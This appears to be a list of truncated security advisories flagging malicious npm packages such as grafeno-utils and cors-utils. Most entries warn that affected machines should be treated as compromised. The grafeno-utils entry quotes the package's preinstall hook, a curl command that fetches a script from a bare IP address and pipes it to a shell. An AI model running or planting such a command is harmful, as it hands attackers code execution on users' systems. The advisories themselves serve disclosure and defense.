MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

MAL-2025-6642 Malicious code in nodemailer-utils (npm)

--- -= Per source details. Do not edit below this line.=-...

MAL-2025-5493 Malicious code in cors-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1abd9a442ac1ffe60c6124eb55921e24de7e14058f76293e8e316f69d378a734 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2024-3808 Malicious code in @chegg-me-lpc/utils (npm)

--- -= Per source details. Do not edit below this line.=-...

MAL-2022-721 Malicious code in @webexts/build-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 469c387e2b4f6b63406064cce28639fd4c0ac0c98127aa9f08866c1d10a8956a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...